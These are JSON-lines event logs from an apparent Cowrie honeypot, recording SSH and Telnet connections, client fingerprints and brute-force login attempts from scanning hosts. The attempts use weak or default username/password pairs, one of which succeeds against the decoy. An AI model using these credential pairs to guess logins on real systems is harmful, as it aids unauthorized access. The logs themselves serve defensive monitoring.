{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:52.493856Z","src_ip":"152.32.162.42","session":"be1d03138fad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminpass123","message":"login attempt [root/adminpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:52.554982Z","src_ip":"60.199.224.2","session":"1185d68189ee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:53.520911Z","src_ip":"152.32.162.42","session":"be1d03138fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:53.757870Z","src_ip":"60.199.224.2","session":"1185d68189ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:53.772836Z","src_ip":"152.32.162.42","session":"be1d03138fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:53.785257Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.239491701126099,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:57.652376Z","src_ip":"45.81.23.16","session":"85ce37b3c1d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.996960639953613,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:58.082771Z","src_ip":"45.81.23.16","session":"ca71d08b76e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48452,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1a18178aa27","protocol":"telnet","message":"New connection: 165.232.131.181:48452 (10.17.0.5:23) [session: f1a18178aa27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:59.716178Z"}
{"eventid":"cowrie.session.closed","duration":11.557459831237793,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:59.882040Z","src_ip":"45.81.23.16","session":"4e2486da45ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0039074420929,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:02.396795Z","src_ip":"190.183.203.15","session":"c420e74fb78e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":11054,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc6cc395d1e0","protocol":"ssh","message":"New connection: 94.156.152.18:11054 (10.17.0.5:22) [session: fc6cc395d1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:02.742709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:02.747559Z","src_ip":"94.156.152.18","session":"fc6cc395d1e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":46280,"dst_ip":"159.203.135.109","dst_port":23,"session":"19bfcf4d6c45","protocol":"telnet","message":"New connection: 190.183.203.15:46280 (159.203.135.109:23) [session: 19bfcf4d6c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:02.855152Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:02.874453Z","src_ip":"94.156.152.18","session":"fc6cc395d1e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#4VCPU16GBAMD","message":"login attempt [root/XYZZ#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:03.256818Z","src_ip":"94.156.152.18","session":"fc6cc395d1e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:04.387550Z","src_ip":"94.156.152.18","session":"fc6cc395d1e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34006,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf09b2c9dda","protocol":"telnet","message":"New connection: 38.54.119.93:34006 (10.17.0.5:23) [session: 7cf09b2c9dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:04.592914Z"}
{"eventid":"cowrie.session.closed","duration":5.090989828109741,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:09.683781Z","src_ip":"38.54.119.93","session":"7cf09b2c9dda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.44245529174805,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:12.301787Z","src_ip":"65.60.27.33","session":"79a0b94c19b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41038,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dd76de390c7","protocol":"telnet","message":"New connection: 38.54.119.93:41038 (10.17.0.5:23) [session: 3dd76de390c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:13.967302Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"b05f4fe64308","protocol":"telnet","message":"New connection: 165.232.131.181:54306 (10.17.0.5:23) [session: b05f4fe64308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:17.808130Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":42030,"dst_ip":"10.17.0.5","dst_port":22,"session":"723ab9398630","protocol":"ssh","message":"New connection: 186.113.245.157:42030 (10.17.0.5:22) [session: 723ab9398630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:22.723280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:22.727460Z","src_ip":"186.113.245.157","session":"723ab9398630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:22.821996Z","src_ip":"186.113.245.157","session":"723ab9398630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdtdserver","password":"123456","message":"login attempt [sdtdserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:23.209662Z","src_ip":"186.113.245.157","session":"723ab9398630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:24.301201Z","src_ip":"186.113.245.157","session":"723ab9398630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.97","src_port":43950,"dst_ip":"10.17.0.5","dst_port":22,"session":"50f0a8640255","protocol":"ssh","message":"New connection: 14.103.127.97:43950 (10.17.0.5:22) [session: 50f0a8640255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:26.625540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:26.629912Z","src_ip":"14.103.127.97","session":"50f0a8640255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:26.849309Z","src_ip":"14.103.127.97","session":"50f0a8640255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwerty123","message":"login attempt [ftpuser/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:28.304845Z","src_ip":"14.103.127.97","session":"50f0a8640255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:29.523239Z","src_ip":"14.103.127.97","session":"50f0a8640255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":56396,"dst_ip":"159.203.135.109","dst_port":22,"session":"83effe1d9336","protocol":"ssh","message":"New connection: 191.101.59.69:56396 (159.203.135.109:22) [session: 83effe1d9336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:34.296420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:34.301191Z","src_ip":"191.101.59.69","session":"83effe1d9336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:34.383663Z","src_ip":"191.101.59.69","session":"83effe1d9336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123!@#","message":"login attempt [root/test123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:34.748837Z","src_ip":"191.101.59.69","session":"83effe1d9336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":39060,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e9ddd185ea4","protocol":"ssh","message":"New connection: 152.32.162.42:39060 (10.17.0.5:22) [session: 3e9ddd185ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:34.850121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:34.859102Z","src_ip":"152.32.162.42","session":"3e9ddd185ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:35.111753Z","src_ip":"152.32.162.42","session":"3e9ddd185ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:35.835484Z","src_ip":"191.101.59.69","session":"83effe1d9336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":35470,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae287673d7cf","protocol":"ssh","message":"New connection: 186.10.86.130:35470 (159.203.135.109:22) [session: ae287673d7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:36.067251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:36.073484Z","src_ip":"186.10.86.130","session":"ae287673d7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567890","message":"login attempt [admin/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:36.152894Z","src_ip":"152.32.162.42","session":"3e9ddd185ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:36.221032Z","src_ip":"186.10.86.130","session":"ae287673d7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftptest","password":"12345678","message":"login attempt [sftptest/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:36.839610Z","src_ip":"186.10.86.130","session":"ae287673d7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:37.408425Z","src_ip":"152.32.162.42","session":"3e9ddd185ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:37.995184Z","src_ip":"186.10.86.130","session":"ae287673d7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.142","src_port":46660,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bbbcc0ba72e","protocol":"ssh","message":"New connection: 213.209.159.142:46660 (10.17.0.5:22) [session: 9bbbcc0ba72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:43.885175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:17:43.900434Z","src_ip":"213.209.159.142","session":"9bbbcc0ba72e","protocol":"ssh"}
